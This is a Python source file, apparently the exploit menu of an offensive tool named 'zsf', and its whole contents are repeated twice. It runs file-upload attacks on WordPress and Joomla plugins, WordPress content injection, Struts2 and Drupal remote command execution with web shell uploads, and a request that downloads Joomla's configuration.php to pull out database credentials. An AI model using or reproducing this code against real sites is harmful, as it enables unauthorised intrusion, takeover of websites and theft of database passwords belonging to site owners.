#-*- coding: utf-8 -*-
from .lib import (
    uploadhandler,
    post_data,
    drupal_rce,
    apache_struts2,
    dvr,
    wp_content_inject,    
)
from .utils import (
    exploit_modules,
    description,
    show,
    log,
    proto,
    upload_debug,
    json_respon
)
import readline,requests,re

log = log(__name__)
sss = []
for i in exploit_modules:
    xx = exploit_modules[i]
    for x in xx:
        sss.append(x)

def main():
    wp = exploit_modules['wordpress']
    jom = exploit_modules['joomla']
    oth = exploit_modules['other']
    T = 'url: '
    F = 'path file: '
    N = 'upload with name: '
    while True:
          try:
               inp = input('zsf(\033[91mexploit\033[0m): ').lower()
               if inp == wp[0]:
                  x = wp_content_inject(proto(input(T)))
                  ver = x.get_version()
                  if ver == 'not vuln':
                     log(30,f'not vulnerabilty')
                  else:
                     if ver == '4.7' or ver == '4.7.1':
                        ttl = input('post title: ')
                        ctn = input('post content: ')
                        log.log(10,'injecting content....')
                        for i in x.get_id():
                            p = x.post_content(ttl,ctn,i)
                            log.log(10,f'postID: {i} status: {p.status_code}')
                     else:
                        log.log(30,f'not vulnerability for version {ver}')  
               elif inp == wp[1]:
                    url = proto(input(T))
                    pd = post_data(input(F),input(N)).wp_revslider
                    x = uploadhandler(url,path1=pd[1],path2=pd[2],post_data=pd['data'],files_data=pd['files'])
                    upload_debug(x.post(),x.get_check())
               elif inp == wp[2]:
                    url = proto(input(T))
                    pth = input(F)
                    nm = input(N)
                    pd = post_data(pth,nm).wp_learndash
                    x = uploadhandler(url,path1='/',path2=pd[1],post_data=pd['data'],files_data=pd['files'])
                    upload_debug(x.post(),x.get_check())
               elif inp == wp[3]:
                    url = proto(input(T))
                    pd = post_data(input(F),input(N)).wp_showbiz
                    x = uploadhandler(url,path1=pd[1],path2=pd[2],post_data=pd['data'],files_data=pd['files'])
                    upload_debug(x.post(),x.get_check())
               elif inp == wp[4]:
                    url = proto(input(T))
                    pd = post_data(input(F),input(N)).wp_audio_control
                    x = uploadhandler(url,path1=pd[1],path2=pd[2],post_data=pd['data'],files_data=pd['files'])
                    upload_debug(x.post(),x.get_check()) 
               elif inp == wp[5]:
                    url = proto(input(T))
                    pd = post_data(input(F),input(N)).wp_geoplace3
                    x = uploadhandler(url,path1=pd[1],path2=pd[2],post_data=None,files_data=pd['files'])
                    upload_debug(x.post(),x.get_check())
               elif inp == wp[6]:
                    url = proto(input(T))
                    pd = post_data(input(F),input(N)).wp_pugeot_music
                    x = uploadhandler(url,path1=pd[1],path2=pd[2],post_data=pd['data'],files_data=pd['files'])
                    upload_debug(x.post(),x.get_check())
               elif inp == jom[0]:
                    url = proto(input(T))
                    pd = post_data(input(F),input(N)).com_fabrik
                    x = uploadhandler(url,path1=pd[1],path2=pd[2],post_data=pd['data'],files_data=pd['files'])
                    upload_debug(x.post(),x.get_check())      
               elif inp == jom[1]:
                    url = proto(input(T))
                    pd = post_data(input(F),input(N)).com_ads_manager
                    x = uploadhandler(url,path1=pd[1],path2=pd[2],post_data=pd['data'],files_data=pd['files'])
                    upload_debug(x.post(),x.get_check())
               elif inp == jom[2]:
                    url = proto(input(T))    
                    r = requests.get(f'{url}/index.php?option=com_joomanager&controller=details&task=download&path=configuration.php',verify=False)
                    if 'JConfig' in r.text:
                       host = re.findall("host = '(.*)';",r.text)
                       user = re.findall("user = '(.*)';",r.text)
                       pw = re.findall("password = '(.*)';",r.text)
                       db = re.findall("db = '(.*)';",r.text)
                       for i in [host,user,pw,db]:
                           log.log(10,f'{i}')                     
                    else:
                       log.log(30,'not vulnerability')
               elif inp == jom[3]:
                    url = proto(input(T))
                    pd = post_data(input(F),input(N)).com_jdownloads(input('Email: '))
                    x = uploadhandler(url,path1=pd[1],path2=pd[2],post_data=pd['data'],files_data=pd['files'])
                    upload_debug(x.post(),x.get_check())          
               elif inp == oth[0]:
                    url = proto(input(T))
                    f = input(F)
                    n = input(N)
                    r = requests.put(
                        f'{url}/n',
                        data = open(f,'r').read(),
                        headers = {
                            'Content-Type':'application/octet-stream'
                        }
                    )
                    rr = requests.get(f'{url}/n')
                    upload_debug(r,rr)
               elif inp == oth[1]:
                    url = proto(input(T))
                    pd = post_data(input(F),input(N)).elfinder
                    x = uploadhandler(url,path1=pd[1],path2=pd[2],post_data=pd['data'],files_data=None)
                    upload_debug(x.post(),x.get_check())
               elif inp == oth[2]:
                    x = apache_struts2(proto(input(T)))
                    log.log(10,'checking vulnerability')
                    if x.check() == 'vuln':
                       log.log(50,'vulnerability')
                       x.execute_shell()
                    else:
                       log.log(30,f'not vulnerability')
               elif inp == oth[3]:
                    x = drupal_rce(proto(input(T)))
                    log.log(10,'checking version..')
                    ver = x.version()
                    if ver == '8':
                       log.log(10,'detecting version 8')
                       log.log(10,'testing vulnerability....')
                       log.log(10,'uploading shell...')
                       p = x.upload_shell(ver)
                       log.log(10,f'status: {p.status_code}')
                       x.check_shell()
                       if x.path_shell == '':
                          log.log(30,'not vulnerability')
                       else:
                          log.log(50,'target vulnerability')
                          log.log(10,'starting remote command execution..')
                          x.execute_shell(x.path_shell)
                    else:
                       log.log(40,'the target does not use drupal webapp')
               elif inp == oth[4]:
                    x = drupal_rce(proto(input(T)))
                    log.log(10,'checking version..')
                    ver = x.version()
                    if ver == '7':
                       log.log(10,'detecting version 7')
                       log.log(10,'testing vulnerability....')
                       log.log(10,'uploading shell...')
                       p = x.upload_shell(ver)
                       log.log(10,f'status: {p.status_code}')
                       x.check_shell()
                       if x.path_shell == '':
                          log.log(30,'not vulnerability')
                       else:
                          log.log(50,'target vulnerability')
                          log.log(10,'starting remote command execution..')
                          x.execute_shell(x.path_shell)
                    else:
                       log.log(40,'the target does not use drupal webapp')
               elif inp == oth[5]:
                    url = proto(input(T))
                    x = dvr(url)
                    log.log(10,'getting config....')
                    p = x.request_get()
                    if p == 'not vuln':
                       log.log(30,'target not vulnerability')
                    else:
                       json_respon(p)
               elif inp == 'back':
                    break
               elif inp == 'exit':
                    exit()      
               elif inp == 'help':
                    show(sss,description['exploit'])  
               else:
                  print(f'\033[91m!\033[0m no command {inp}')
          except Exception as e:
               print(e)
          except KeyboardInterrupt:
               exit()

#-*- coding: utf-8 -*-
from .lib import (
    uploadhandler,
    post_data,
    drupal_rce,
    apache_struts2,
    dvr,
    wp_content_inject,    
)
from .utils import (
    exploit_modules,
    description,
    show,
    log,
    proto,
    upload_debug,
    json_respon
)
import readline,requests,re

log = log(__name__)
sss = []
for i in exploit_modules:
    xx = exploit_modules[i]
    for x in xx:
        sss.append(x)

def main():
    wp = exploit_modules['wordpress']
    jom = exploit_modules['joomla']
    oth = exploit_modules['other']
    T = 'url: '
    F = 'path file: '
    N = 'upload with name: '
    while True:
          try:
               inp = input('zsf(\033[91mexploit\033[0m): ').lower()
               if inp == wp[0]:
                  x = wp_content_inject(proto(input(T)))
                  ver = x.get_version()
                  if ver == 'not vuln':
                     log(30,f'not vulnerabilty')
                  else:
                     if ver == '4.7' or ver == '4.7.1':
                        ttl = input('post title: ')
                        ctn = input('post content: ')
                        log.log(10,'injecting content....')
                        for i in x.get_id():
                            p = x.post_content(ttl,ctn,i)
                            log.log(10,f'postID: {i} status: {p.status_code}')
                     else:
                        log.log(30,f'not vulnerability for version {ver}')  
               elif inp == wp[1]:
                    url = proto(input(T))
                    pd = post_data(input(F),input(N)).wp_revslider
                    x = uploadhandler(url,path1=pd[1],path2=pd[2],post_data=pd['data'],files_data=pd['files'])
                    upload_debug(x.post(),x.get_check())
               elif inp == wp[2]:
                    url = proto(input(T))
                    pth = input(F)
                    nm = input(N)
                    pd = post_data(pth,nm).wp_learndash
                    x = uploadhandler(url,path1='/',path2=pd[1],post_data=pd['data'],files_data=pd['files'])
                    upload_debug(x.post(),x.get_check())
               elif inp == wp[3]:
                    url = proto(input(T))
                    pd = post_data(input(F),input(N)).wp_showbiz
                    x = uploadhandler(url,path1=pd[1],path2=pd[2],post_data=pd['data'],files_data=pd['files'])
                    upload_debug(x.post(),x.get_check())
               elif inp == wp[4]:
                    url = proto(input(T))
                    pd = post_data(input(F),input(N)).wp_audio_control
                    x = uploadhandler(url,path1=pd[1],path2=pd[2],post_data=pd['data'],files_data=pd['files'])
                    upload_debug(x.post(),x.get_check()) 
               elif inp == wp[5]:
                    url = proto(input(T))
                    pd = post_data(input(F),input(N)).wp_geoplace3
                    x = uploadhandler(url,path1=pd[1],path2=pd[2],post_data=None,files_data=pd['files'])
                    upload_debug(x.post(),x.get_check())
               elif inp == wp[6]:
                    url = proto(input(T))
                    pd = post_data(input(F),input(N)).wp_pugeot_music
                    x = uploadhandler(url,path1=pd[1],path2=pd[2],post_data=pd['data'],files_data=pd['files'])
                    upload_debug(x.post(),x.get_check())
               elif inp == jom[0]:
                    url = proto(input(T))
                    pd = post_data(input(F),input(N)).com_fabrik
                    x = uploadhandler(url,path1=pd[1],path2=pd[2],post_data=pd['data'],files_data=pd['files'])
                    upload_debug(x.post(),x.get_check())      
               elif inp == jom[1]:
                    url = proto(input(T))
                    pd = post_data(input(F),input(N)).com_ads_manager
                    x = uploadhandler(url,path1=pd[1],path2=pd[2],post_data=pd['data'],files_data=pd['files'])
                    upload_debug(x.post(),x.get_check())
               elif inp == jom[2]:
                    url = proto(input(T))    
                    r = requests.get(f'{url}/index.php?option=com_joomanager&controller=details&task=download&path=configuration.php',verify=False)
                    if 'JConfig' in r.text:
                       host = re.findall("host = '(.*)';",r.text)
                       user = re.findall("user = '(.*)';",r.text)
                       pw = re.findall("password = '(.*)';",r.text)
                       db = re.findall("db = '(.*)';",r.text)
                       for i in [host,user,pw,db]:
                           log.log(10,f'{i}')                     
                    else:
                       log.log(30,'not vulnerability')
               elif inp == jom[3]:
                    url = proto(input(T))
                    pd = post_data(input(F),input(N)).com_jdownloads(input('Email: '))
                    x = uploadhandler(url,path1=pd[1],path2=pd[2],post_data=pd['data'],files_data=pd['files'])
                    upload_debug(x.post(),x.get_check())          
               elif inp == oth[0]:
                    url = proto(input(T))
                    f = input(F)
                    n = input(N)
                    r = requests.put(
                        f'{url}/n',
                        data = open(f,'r').read(),
                        headers = {
                            'Content-Type':'application/octet-stream'
                        }
                    )
                    rr = requests.get(f'{url}/n')
                    upload_debug(r,rr)
               elif inp == oth[1]:
                    url = proto(input(T))
                    pd = post_data(input(F),input(N)).elfinder
                    x = uploadhandler(url,path1=pd[1],path2=pd[2],post_data=pd['data'],files_data=None)
                    upload_debug(x.post(),x.get_check())
               elif inp == oth[2]:
                    x = apache_struts2(proto(input(T)))
                    log.log(10,'checking vulnerability')
                    if x.check() == 'vuln':
                       log.log(50,'vulnerability')
                       x.execute_shell()
                    else:
                       log.log(30,f'not vulnerability')
               elif inp == oth[3]:
                    x = drupal_rce(proto(input(T)))
                    log.log(10,'checking version..')
                    ver = x.version()
                    if ver == '8':
                       log.log(10,'detecting version 8')
                       log.log(10,'testing vulnerability....')
                       log.log(10,'uploading shell...')
                       p = x.upload_shell(ver)
                       log.log(10,f'status: {p.status_code}')
                       x.check_shell()
                       if x.path_shell == '':
                          log.log(30,'not vulnerability')
                       else:
                          log.log(50,'target vulnerability')
                          log.log(10,'starting remote command execution..')
                          x.execute_shell(x.path_shell)
                    else:
                       log.log(40,'the target does not use drupal webapp')
               elif inp == oth[4]:
                    x = drupal_rce(proto(input(T)))
                    log.log(10,'checking version..')
                    ver = x.version()
                    if ver == '7':
                       log.log(10,'detecting version 7')
                       log.log(10,'testing vulnerability....')
                       log.log(10,'uploading shell...')
                       p = x.upload_shell(ver)
                       log.log(10,f'status: {p.status_code}')
                       x.check_shell()
                       if x.path_shell == '':
                          log.log(30,'not vulnerability')
                       else:
                          log.log(50,'target vulnerability')
                          log.log(10,'starting remote command execution..')
                          x.execute_shell(x.path_shell)
                    else:
                       log.log(40,'the target does not use drupal webapp')
               elif inp == oth[5]:
                    url = proto(input(T))
                    x = dvr(url)
                    log.log(10,'getting config....')
                    p = x.request_get()
                    if p == 'not vuln':
                       log.log(30,'target not vulnerability')
                    else:
                       json_respon(p)
               elif inp == 'back':
                    break
               elif inp == 'exit':
                    exit()      
               elif inp == 'help':
                    show(sss,description['exploit'])  
               else:
                  print(f'\033[91m!\033[0m no command {inp}')
          except Exception as e:
               print(e)
          except KeyboardInterrupt:
               exit()

#-*- coding: utf-8 -*-